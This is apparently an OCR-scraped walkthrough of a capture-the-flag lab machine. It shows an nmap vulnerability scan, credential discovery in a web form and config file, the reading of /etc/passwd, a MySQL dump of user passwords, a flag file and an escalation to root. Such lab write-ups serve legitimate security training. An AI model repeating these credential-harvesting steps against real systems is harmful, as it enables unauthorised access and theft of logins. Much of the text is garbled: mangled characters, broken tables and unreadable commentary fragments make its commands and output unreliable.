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root@kali:~
Starting Nmap 7.70 ( https://nmap.org ) at 2020-01-29 ©5:16 EST
Nmap scan report for 192.168.1.12
Host is up (0.000093s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
vulscan: exploitdb.csv:
[3303] Portable OpenSSH <= 3.6.1p-PAM / 4.1-SUSE Timing Attack Exploit\xeD
[21579] OpenSSH
[21578] OpenSSH

3.x Challenge-Response Buffer Overflow Vulnerabilities (2)\x@D

3
[21402] OpenSSH 2.x/3.x Kerberos 4 TGT/AFS Token Buffer Overflow Vulnerability\xeD

2

1

.X Challenge-Response Buffer Overflow Vulnerabilities (1)\x@D

[21314] OpenSSH 2.x/3.0.1/3.0.2 Channel Code Off-By-One Vulnerability\xeD
[20253] OpenSSH 1.2 scp File Create/Overwrite Vulnerability\xe@D

[17462] OpenSSH 3.5p1l Remote Root Exploit for FreeBSD\x@D

[14866] Novell Netware v6.5 OpenSSH Remote Stack Overflow\xeD

[6094] Debian OpenSSH Remote SELinux Privilege Elevation Exploit (auth)\xeD
[2444] OpenSSH <= 4.3 pl (Duplicated Block) Remote Denial of Service Exploit\xeD
[1572] Dropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of Service\xeD
[258] glibc-2.2 and openssh-2.3.0pl exploits glibc >= 2.1.9x\x@D

[26] OpenSSH/PAM <= 3.6.1p1l Remote Users Ident (gossh.sh)\xeD

[25] OpenSSH/PAM <= 3.6.1pl Remote Users Discovery Tool\x@D

Apache httpd 2.4.7 ((Ubuntu))
| _http-server-header: Apache/2.4.7 (Ubuntu)

| vulscan: exploitdb.csv:

| [18329] Apache Struts2 <= 2.3.1 Multiple Vulnerabilities\xeD
|
|

MAC Address: 00:0C:29:E9:72:AB (VMware)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit
Nmap done: 1 IP address (1 host up) scanned in 7.05 seconds
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<lgbel for="name”}Name<{/label?
Cinput id="nsme” type="tsxt” value="Eweuh Tandingan” name="nams">
<{br>
lgbel for="username”> Username</labeld
{input id="username” type="text” walue="eweuhtandingan” name="username”?
{hr
¢lgbel for="password”?Password<,/ 1abell
{input t}v?l@ value="skuratuh” name="password”™>
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alice@gfriEND:~$ w
00:52:25 up 3:07, 1 user, load average: 0.00, 0.00, 0.00
TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
pts/0o 192.168.1.5 00:43 1.00s 0.26s ©0.00s w
alice@gfriEND:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

:7:1p:/var/spool/lpd: /usr/sbin/nologin

:9:9:news:/var/spool/news:/usr/sbin/nologin

7
:x:8:8:mail:/var/mail:/usr/sbin/nologin

X

X

:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody :x:65534:65534:nobody: /nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/1lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
alice:x:1000:1001:Alice Geulis,1337,+62,+62:/home/alice:/bin/bash
eweuhtandingan:x:1001:1002:,,, :/home/eweuhtandingan:/bin/bash
aingmaung:x:1002:1003:,,, :/home/aingmaung:/bin/bash
sundatea:x:1003:1004:,,,:/home/sundatea:/bin/bash
sshd:x:104:65534::/var/run/sshd: /usr/sbin/nologin
mysql:x:105:113:MySQL Server,,,:/var/lib/mysql:/bin/false
alice@gfriEND:~$
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alice:x:1000:1001:Alice Geulis,1337,+62,+62:/home/alice:/bin/bash
eweuhtandingan:x:1001:1002:,,,:/home/eweuhtandingan:/bin/bash
eweuhtandinganiX MK /7 7] DL S AE 2 25 A AN 3

HEEE, EEEREHFAmiscER THRNMERR

:103:109:: /var/lib/landscape: /bin/false
1000:1001:Alice Geulis,1337,+62,+62:/home/alice: /bin/bash
ingan:x:1001:1002:,,,:/home/eweuhtandingan: /bin/bash
:1002:1003:,,,: /home/aingmaung: /bin/bash
1003:10684:,,,:/home/sundatea: /bi
65534:: /var/run/ss ‘'usr/sbin/nologin
SQL Server,,,:/var/lib/mysql:/bin/false
:~% 1s
:~% cd Svar/www/
friEND: /var/www$ 1s

friEND: /var/wwws cd html/
friEND: /var/www/html$ 1s
] halamanPerusahaan heyhoo.txt index.php misc robots.txt
gfriEND: /var/www/html$ cd config/
friEND: fvar/www/html/config$ 1s
config.php
ice@yfriEND: /var/www/html/config$ more config.php

$conn = mysqli connect('localhost', 'root', 'ctf pasti bisa', 'ceban
e@gfriEND: /var/www/html/configs |[j i qc

WA config iy ST B4R
R AR !
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:~# ssh root@192.168.1.12
root@192.168.1.12's password:
ion denied, please try again.
root@l92.168.
ion denied, e "y again.
root@l92.168.1. :
root@192.168.1.12: 2 sion denied (publickey,password).
:~# ssh root@192.168.1.12
root@l92.168.1.12's password:
Permission denied > try
root@l9ez2.168.1.12
Permission denied
root@loez2.168.1.12
root@l92.168.1.12: Permission de
1~
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rieEND: /var/www/html/contig$ mysql -u root -p
password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 231
Server version: 5.5.64-MariaDB-lubuntuf.14.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or "\h' for help. Type "\c' to clear the current input statement.

MariaDB [(none)]> |}

/lblog.csdn.net/gg_



information_schema

|
ceban_corp |
|
|

performance_schema

4 rows in set (0.00 sec)

MariaDB [ceban_cerp] > show tables;

| Tables in_ceban_corp |

| tbl users

1 row in set (0.00 sec)

MariaDB [ceban_corp] > select from tbl_users;
- T et T TR P S

| id | name | username | password | email

Eweuh Tandingan eweuhtandingan skuyatuh eweuhtandingan@cebancorp.com

Aing Maung aingmaung

+ +
| |
| qwerty! |
| indONEsia |
| cedihhihihi |
| 41ic3 |
abdikasepak | dorrrrr | abdikasep@cebancorp.com
| |
| |
| |
| |
| |
+ +

aingmaung@cebancorp.com

Sunda Tea sundatea sundatea@cebancorp.com
sedihaingmah@cebancorp.com
Alice Geulis alice alice@cebancorp.com
Abdi Kasep
12 admin
13
14
15

16

admin admin test@qq.com
111
111

111

o
|
|
|

Sedih Aing Mah | sedihaingmah
|
|
|
| 111
| 111
| 111
| hhh
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alice@gfriEND:~$ find JE(flag)* | grep flag

®AETMRE, ®ERIN T flag

sys/devices/platform/serial8250/tty/ttyS30/flags
sys/devices/platform/serial8250/tty/ttyS31/flags
find: " /sys/kernel/debug

Permission denied
.my_secret/flagl.txt
./alice/.my_secret/flagl.txt
.my_secret/flagl.txt




alice@gfriEND:~$ 1ls -a
.bash_history .bashrc .my_secret .profile
.bash_logout .cache .mysql history

alice@gfriEND:~$ cd .my_secret

alice@gfriEND:~/.my_secret$ 1s
flagl.txt my_notes.txt
alice@gfriEND:~/.my secret$ cat flagl.txt
Greattttt my brother! You saw the Alice
s given to him then Bob will be hurt but this is better than Bob cheated

Now your last job is get access to the root and read the flag ~ *

Flag 1 : gfriEND{2f5f21b2af1b8c3e227bcf35544f8f09}
alice@gfriEND:~/.my_secret$

WEIflag T, WirT LLFFER A3k B root,
W7 rootlk 7 A BEsshiZE$E, RIRBEANBEAHisut e, Ubuntu rootik f* BRI\ HF 2 AN Be B HEsshiZ .

@192.168.1.12"'s ssword :
on denie ; iry again.
@192. 168
2:40:31 2020 from 192.168.1.5
su root

t+found mnt proc S I var
opt root vmlinuz

yt@gfrienD: /# |

roots it e 2
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